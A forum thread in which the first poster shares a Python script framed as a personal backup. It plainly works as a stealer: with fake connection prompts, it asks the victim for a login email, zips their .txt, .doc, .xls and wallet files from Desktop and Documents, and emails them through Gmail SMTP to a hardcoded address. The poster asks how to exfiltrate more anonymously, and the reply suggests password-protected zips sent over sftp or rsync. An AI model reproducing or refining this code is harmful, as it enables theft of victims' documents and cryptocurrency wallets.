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04-13-2017, 12:36 AM | #1 |
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Python - Better way to store a file remotely?
I wrote a python program a couple of years ago. It zipped all my desktop and document folder files and sent them to me in an e-mail.
Is there a better way to do this? I was think ftp or ssh? But need to remain anonymous. Maybe dropbox? Here is my old code. Code:
#just playing around with python import os import glob import platform import zipfile import sys userhome = os.path.expanduser('~') desktop = userhome + '/Desktop/' useros = platform.system() distribution = platform.linux_distribution() answeryes = "y" answercapitalyes = "Y" answerwordyes = "yes" answercapitalwordyes = "YES" allfileszipped = zipfile.ZipFile('thestuff.zip','w') #creds username = 'testing' password = 'testingpass' def savefilesoff(folder): for foldername,subfolders,filenames in os.walk(folder): for filename in filenames: if filename.endswith((".txt",".xls",".doc",".wallet")): savefilename = os.path.join(foldername, filename) thefilesize = os.path.getsize(savefilename) if thefilesize < 500000: allfileszipped.write(savefilename) def continueevil(getlogin): errorfile = open('run.log', 'w') errorfile.write("error on connect") errorfile.close() savedwd = os.getcwd() os.chdir(desktop) savefilesoff(desktop) userhome = os.path.expanduser('~') documents = userhome + '/Documents/' os.chdir(documents) documentfiles = glob.glob('*.txt') savefilesoff(documents) os.chdir(savedwd) allfileszipped.close() sendfiles(getlogin) def doevil(): print "enter your login e-mail address and press enter" getlogin = raw_input() print "Connecting ........" print "zipping and sending file - this may take a moment" if os.path.isfile("run.log"): print "this exploit has been patched" allfileszipped.close() else: continueevil(getlogin) def sendfiles(getlogin): #send file import smtplib from email.MIMEMultipart import MIMEMultipart from email.MIMEText import MIMEText from email.MIMEBase import MIMEBase from email import encoders from_addr = "[email protected]" to_addr = "[email protected]" msg = MIMEMultipart() msg['From'] = from_addr msg['To'] = to_addr msg['Subject'] = getlogin body = "here is the file for " + getlogin msg.attach(MIMEText(body, 'plain')) filename = "thestuff.zip" savedwd = os.getcwd() attachment = open(savedwd+"/"+filename, "rb") part = MIMEBase('application', 'octet-stream') part.set_payload((attachment).read()) encoders.encode_base64(part) part.add_header('Content-Disposition', "attachment; filename= %s" % filename) msg.attach(part) try: gserver = smtplib.SMTP("smtp.gmail.com",587) gserver.starttls() gserver.login(username,password) text = msg.as_string() gserver.sendmail(from_addr, to_addr, text) gserver.quit() except: print "internet connect error" os.remove("run.log") print "do you want to continue? Press Y And Hit Enter To Run" yourdecision = raw_input() if yourdecision == answeryes or yourdecision == answercapitalyes or yourdecision == answerwordyes or yourdecision == answercapitalwordyes: savedwd = os.getcwd() doevil() os.remove("thestuff.zip") else: allfileszipped.close() os.remove("thestuff.zip") sys.exit()
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04-13-2017, 02:14 AM | #2 |
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while creating zip set strong password.
transfer over ssl, like ssh rsync or sftp
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